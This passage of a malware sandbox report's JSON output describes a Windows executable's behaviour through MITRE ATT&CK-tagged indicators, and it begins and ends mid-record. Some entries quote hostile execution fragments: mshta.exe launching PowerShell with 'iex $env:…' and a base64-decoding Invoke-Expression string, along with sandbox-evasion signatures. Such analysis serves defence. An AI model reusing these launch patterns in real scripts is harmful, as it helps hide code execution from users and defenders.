entry","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"mshta.exe\" queries volume information of \"C:\\Windows\\Fonts\\times.ttf\" at 00000000-00005936-0000010C-29960668\n \"powershell.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll\" at 00000000-00003404-0000010C-4341000\n \"powershell.exe\" queries volume information of \"C:\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll\" at 00000000-00003404-0000010C-5167251\n \"powershell.exe\" queries volume information of an entire harddrive\"C:\\\" at 00000000-00003404-0000010C-5853198\n \"powershell.exe\" queries volume information of \"C:\\share\" at 00000000-00003404-0000010C-5854709\n \"powershell.exe\" queries volume information of \"C:\\share\" at 00000000-00003404-0000010C-5939125","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Able to execute application using Windows wscript shell (JSP)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":10,"id":"string-461","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"$36","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005460.00000001.86338.00C81000.00000020.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00005936)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00005936)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00005936)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files (UID: 00000000-00005936)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00005936)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00005936)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\History (UID: 00000000-00005936)\n \"powershell.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00003404)\n \"powershell.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"mshta.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iex $env:oczbexg\" - (UID: 00000000-00005936)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134735816489407911.3404.DefaultAppDomain.powershell\" - (UID: 00000000-00003404)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$38","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.dll at 19819-1-0040352C\n LoadLibraryA@KERNEL32.dll at 19819-614-0040C788\n LoadLibraryA@KERNEL32.dll at 19819-641-0040A4A0\n LoadLibraryExA@KERNEL32.dll at 19819-749-004103A8\n LoadLibraryA@KERNEL32.dll at 19819-763-00406553\n LoadLibraryExA@KERNEL32.dll at 19819-1066-0041249B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"iex $env:oczbexg\" (Indicator: \"Invoke-Expression\"; File: \"powershell.exe\")\n Found string \"iex $env:\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp\")\n Found string \"iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64StrinP\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00005644.00000001.78962.01730000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005644.00000000.77036.00150000.00000004.mdmp, 00000000-00005644.00000000.77036.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.00150000.00000004.mdmp, 00000000-00005644.00000001.78962.01540000.00000040.mdmp, 00000000-00005644.00000001.78962.01788000.00000004.mdmp, 00000000-00005644.00000002.80885.00150000.00000004.mdmp, 00000000-00005644.00000002.80885.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01540000.00000040.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")\n Found reference to API \"Win32API|Process and Thread Structures|STARTUPINFO|wShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process mshta.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process mshta.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n Process mshta.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"DISMHOST.EXE.6DC1D0A6.bin\" as clean (type is \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commands \"iex $env:oczbexg\" (UID: 00000000-00003404)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"DISMHOST.EXE.6DC1D0A6.bin\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134735816489407911.3404.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3e","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"mshta.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76B50000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 61BD0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 75340000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 75340000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 62830000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 62FE0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76BA0000\n \"mshta.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76BA0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76BA0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1500160020731269@ADVAPI32.dll\"\n \"0e000f00e4731269@ADVAPI32.dll\"\n \"0e000f0050741269@ADVAPI32.dll\"\n \"11001200d47d1269@ADVAPI32.dll\"\n \"110012007c7e1269@ADVAPI32.dll\"\n \"12001300cc7e1269@ADVAPI32.dll\"\n \"12001300387f1269@ADVAPI32.dll\"\n \"14001500e4b71269@ADVAPI32.dll\"\n \"1400150000b81269@ADVAPI32.dll\"\n \"140015001cb81269@ADVAPI32.dll\"\n \"1700180038b81269@ADVAPI32.dll\"\n \"0d000e0054b81269@ADVAPI32.dll\"\n \"1100120064b81269@ADVAPI32.dll\"\n \"110012007cb81269@ADVAPI32.dll\"\n \"0d000e0090901269@WININET.dll\"\n \"0d000e000c911269@WININET.dll\"\n \"100011004c911269@WININET.dll\"\n \"1000110004921269@WININET.dll\"\n \"10001100ccb81269@WININET.dll\"\n \"10001100e0b81269@WININET.dll\"\n \"14001500f4b81269@WININET.dll\"\n \"1400150010b91269@WININET.dll\"\n \"120013002cb91269@WININET.dll\"\n \"1200130044b91269@WININET.dll\"\n \"100011004c921269@WININET.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" was detected as \"MinGW\" and name: \"Compiler\"\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"\n \"DISMHOST.EXE.6DC1D0A6.bin\" was detected as \"MinGW\" and name: \"Compiler\"\n \"DISMHOST.EXE.6DC1D0A6.bin\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"00000000-00003404\")\n file/memory contains long string with (Indicator: \"New-Object\"; Source: \"00000000-00005644.00000001.78962.01730000.00000004.mdmp, 00000000-00005644.00000003.86403.01788000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$40","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"DISMHOST.EXE.6DC1D0A6.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has an executable section named \".text\"\n \"DISMHOST.EXE.6DC1D0A6.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has an writable section named \".data\"\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has an writable section named \".bss\"\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has an writable section named \".idata\"\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has an writable section named \".CRT\"\n \"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has an writable section named \".tls\"\n \"DISMHOST.EXE.6DC1D0A6.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$41","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00005936-00000C47-7744284914]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iex $env:oczbexg\" [Source: 00000000-00005936-00000C47-7744284914]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$42","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$43","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$45","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$46","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"DISMHOST.EXE.6DC1D0A6.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\ms4a3qxy.qek.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\pfdbc5vg.osb.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"mshta.exe\" connecting to \"\\ThemeApiPort\"\n \"powershell.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"dism.log\" has type \"Unicode text UTF-8 (with BOM) text with very long lines (312) with CRLF line terminators\"- [targetUID: N/A]\n \"DISMHOST.EXE.6DC1D0A6.bin\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\"- [targetUID: N/A]\n \"ModuleAnalysisCache\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00003404]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003404]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$47","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$49","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"Win32Registry|HKEY_CURRENT_USER\\Environment\"; Source: \"00000000-00005644.00000003.86403.00150000.00000004.mdmp, 00000000-00005644.00000003.86403.01CD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Calls an API typically used to find device information\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Contains ability to detect sandbox (imports API)\n Matched sigs: Contains ability to detect virtual environment (API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6aa81643c9d77fea1904505d"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files 